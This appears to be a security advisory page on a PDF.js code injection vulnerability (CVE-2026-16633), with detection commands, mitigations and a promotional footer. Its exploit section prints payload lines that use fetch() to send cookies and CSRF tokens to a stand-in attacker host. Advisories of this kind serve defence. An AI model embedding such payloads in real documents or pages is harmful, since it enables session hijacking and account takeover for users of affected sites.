Listen to this Post
CVE-2026-16633 is a code injection vulnerability affecting Mozilla’s PDF.js library, a widely used JavaScript-based PDF renderer. The flaw resides in the PDF scripting support, where the library fails to properly neutralize active content embedded within a malicious PDF file. When PDF.js is configured with `enableScripting` set to `true` — which is the default setting — and the hosting application does not enforce a Content Security Policy (CSP) that restricts script-src, an attacker can supply a specially crafted PDF that executes arbitrary JavaScript in the context of the hosting domain.
The vulnerability is triggered during the parsing and rendering of a PDF that contains JavaScript actions (e.g., Doc.open, Field.setAction, or widget annotations). PDF.js’s scripting engine evaluates this JavaScript without sufficient sanitization, effectively allowing the attacker’s code to run with the same origin as the web application hosting the viewer. This is particularly dangerous because the execution occurs in the user’s browser, enabling the attacker to steal session cookies, perform actions on behalf of the user, deface the page, or redirect to malicious sites — all within the trust boundary of the vulnerable domain.
The root cause is a missing input validation step in the PDF scripting pipeline (CWE-94: Improper Control of Generation of Code). The library does not distinguish between trusted script (e.g., built-in form validation) and untrusted script supplied by the PDF author. As a result, any JavaScript embedded in the PDF is passed directly to `eval()` or similar execution contexts without a sandbox escape check or origin restriction.
Exploitation requires user interaction: the victim must open the malicious PDF using an application that embeds PDF.js with scripting enabled. However, the attack can be chained with social engineering or delivered via email attachments, file upload forms, or embedded iframes. The vulnerability is classified as High severity with a CVSS v4.0 score of CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:L/VI:H/VA:N/SC:N/SI:N/SA:N/E:U/U:Amber. The attack vector is remote, the complexity is low, and no privileges are required — only that the user interacts with the PDF.
The vulnerability affects all PDF.js versions prior to the patched releases. The Mozilla team addressed the issue by introducing stricter script validation and deprecating unsafe evaluation paths. Users are strongly urged to update to the latest version or apply the recommended mitigations.
DailyCVE Form:
Platform: PDF.js
Version: < 4.2.67, < 6.2.108
Vulnerability: Code Injection
Severity: High
date: 2026-07-29
Prediction: 2026-07-29
What Undercode Say:
Check installed PDF.js version (npm) npm list pdfjs-dist Check enableScripting setting in viewer.js grep -r "enableScripting" /path/to/pdf.js/viewer.js Verify CSP header in application curl -I https://example.com | grep -i "content-security-policy" Test if CSP allows 'unsafe-eval' (required for PDF.js scripting) curl -I https://example.com | grep "script-src" | grep "unsafe-eval"
// Simple PoC to test if PDF.js executes script from PDF
// Embed this in a PDF using a tool like jsPDF or Adobe Acrobat
this.print({ bUI: true, bSilent: false, bShrinkToFit: true });
// If a print dialog appears without user action, scripting is enabled and vulnerable
<!-- Embed PDF.js with insecure configuration (vulnerable) --> <iframe src="/web/viewer.html?file=malicious.pdf" allow="script-src 'unsafe-eval'"></iframe>
// Vulnerable package.json dependency
{
"dependencies": {
"pdfjs-dist": "4.1.392"
}
}
Exploit:
An attacker crafts a PDF containing JavaScript that executes when the document is opened. The script runs in the context of the hosting domain, allowing the attacker to:
– Exfiltrate cookies, tokens, or localStorage data via `fetch()` to an attacker-controlled server.
– Perform authenticated requests on behalf of the user (CSRF-style attacks).
– Render phishing overlays or modify the DOM to steal credentials.
– Redirect the user to a malicious site.
Example payload embedded in the PDF:
// Exfiltrate cookies
fetch('https://attacker.com/steal?cookie=' + document.cookie);
// Steal CSRF tokens
fetch('https://attacker.com/steal?token=' + document.querySelector('meta[name="csrf-token"]').content);
The exploit is delivered via a standard PDF file, making it easy to distribute through email, file uploads, or third-party CDN integrations.
Protection:
1. Update PDF.js to the latest patched version:
- For
pdfjs-dist: upgrade to `4.2.67` or `6.2.108` or later. - For
ngx-extended-pdf-viewer: upgrade to `29.0.0-rc.3` or later.
- Disable scripting by setting `enableScripting: false` in the viewer options:
PDFViewerApplicationOptions.set("enableScripting", false); - Enforce a strict Content Security Policy that disallows `unsafe-eval` and restricts
script-src:Content-Security-Policy: script-src 'self'; object-src 'none';
Note that PDF.js may require `’wasm-unsafe-eval’` for WebAssembly, but `’unsafe-eval’` should be avoided.
- Sanitize user-uploaded PDFs using a server-side scanner or disable scripting entirely for untrusted documents.
Impact:
Successful exploitation allows an attacker to execute arbitrary JavaScript in the context of the vulnerable domain. This can lead to:
– Session Hijacking: Theft of session cookies, enabling account takeover.
– Data Theft: Access to sensitive information exposed via the DOM or network requests.
– Phishing: Injection of fake login forms or misleading content.
– Defacement: Unauthorized modification of the page appearance.
– Lateral Movement: Chained with other vulnerabilities to compromise internal systems.
The impact is amplified in applications that handle sensitive data (e.g., banking, healthcare, or enterprise portals) where PDF viewing is a core feature. Given the default configuration of PDF.js, many deployments are inadvertently vulnerable unless explicitly hardened.
🎯Let’s Practice Exploiting & Learn Patching For Free:
🎓 Live Courses & Certifications:
Join Undercode Academy for Verified Certifications
🚀 Request a Custom Project:
Secure, high-velocity infrastructure and disruptive technological engineering. Contact our engineering team for high-tier development and proprietary systems:
[email protected]
💎 Smart Architecture | 🛡️ Secure by Design | ⭐ Trusted by Thousands
Sources:
Reported By: github.com
Extra Source Hub:
Undercode
